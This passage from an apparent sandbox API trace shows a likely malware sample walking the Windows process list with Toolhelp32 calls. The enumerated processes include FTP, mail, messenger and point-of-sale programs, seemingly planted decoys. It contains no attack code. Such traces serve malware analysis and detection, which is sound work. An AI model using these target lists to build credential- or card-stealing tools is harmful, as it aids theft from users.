th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0232.463] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0232.465] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0232.467] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0232.468] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0232.470] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0232.471] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0232.473] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0232.474] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0232.476] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0232.477] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0232.479] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0232.480] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0232.482] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0232.483] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0232.485] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0232.486] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0232.489] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0232.490] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0232.492] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0232.493] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0232.495] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0232.496] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0232.498] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0232.500] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0232.501] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0232.553] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0232.556] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0232.558] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0232.561] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0232.563] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0232.566] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0232.569] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0232.571] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0232.573] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0232.574] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0232.577] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0232.579] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0232.582] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0232.584] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0232.585] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0232.588] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0232.590] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0232.592] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0232.645] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0232.647] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0232.649] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0232.651] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0232.652] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0232.654] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0232.656] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0232.657] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0232.659] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0232.661] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0232.663] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0232.664] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0232.666] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0232.667] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0232.669] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0232.671] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0232.672] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0232.674] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0232.677] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0232.678] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0232.680] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0232.681] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0232.683] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0232.685] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.686] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.688] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.689] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0232.791] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0232.794] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0232.796] CloseHandle (hObject=0x15a4) returned 1 [0232.796] Sleep (dwMilliseconds=0x64) [0232.865] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0232.875] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.876] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.878] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.879] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.881] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.882] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.884] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.885] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.887] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.888] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.889] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 